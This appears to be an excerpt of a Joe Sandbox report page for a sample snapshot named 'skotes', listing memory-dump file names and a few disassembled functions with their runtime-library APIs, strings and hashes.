Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 8826ce5e35687f00cde761e4599a746ad6c9db8c0786ded61908b181f10b214b
Instruction ID: 1ce7ea2192ee1dfa99650f9781b89727d670abe2070160df805396e8e4c5705d
Opcode Fuzzy Hash: 8826ce5e35687f00cde761e4599a746ad6c9db8c0786ded61908b181f10b214b
Instruction Fuzzy Hash: 0921F772A20205AFCB14EE68DD56FAB77A8FF44724B10831DF915D7580DB31E920CA90

Function 002C727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002C72BE

Strings

.exe, xrefs: 002C72CB
.bat, xrefs: 002C72ED
.com, xrefs: 002C72FE
.cmd, xrefs: 002C72DC

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 03df4483bff22e26975e29b0820fd69aaae29ed69bd045b61cc91aa6bb2b2a31
Instruction ID: 3086882aef636b6b4355f96e849c0a77dfe5682f35aeddc4c2ec98e302cdfb43
Opcode Fuzzy Hash: 03df4483bff22e26975e29b0820fd69aaae29ed69bd045b61cc91aa6bb2b2a31
Instruction Fuzzy Hash: 56016B27B786A329661514199D03F7713988FD2BB4B19422FFC50F71C1DF44EC6229E0

Function 002AFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 002AFB06

Strings

GetThreadGroupAffinity, xrefs: 002AFA93
kernel32.dll, xrefs: 002AFA7A
SetThreadGroupAffinity, xrefs: 002AFA87
GetCurrentProcessorNumberEx, xrefs: 002AFABE

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 5231e9067ae55e3714b6289f3667df5a70022a7f820c57b733337acae16a94a5
Instruction ID: 7c34193073276b1bc45a4b086b2581cf0388549338ca214ba3dfad50206a6584
Opcode Fuzzy Hash: 5231e9067ae55e3714b6289f3667df5a70022a7f820c57b733337acae16a94a5
Instruction Fuzzy Hash: 470149325B53562EE320B6B65E8AFFB359C9F0775CB61083AB441E3142EE79DC344560

Function 002C2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 002C20B7

Part of subcall function 002BCAF3: Mailbox.LIBCMT ref: 002BCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002C20C8
StructuredWorkStealingQueue.LIBCMT ref: 002C20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002C210F

Strings

e, xrefs: 002C20D9

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 9a98926dac578a37631d41fa328f1027594e8c7d0885b2adc732292c57ea0525
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 39118231120105DBDB15DE69C881FAA77A4EF12364B28C25EB80A9F103DFF1D929CF91

Function 002AD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 002AD0A5

Strings

WakeAllConditionVariable, xrefs: 002AD069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 002AD03B
kernel32.dll, xrefs: 002AD04C
SleepConditionVariableCS, xrefs: 002AD05D

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
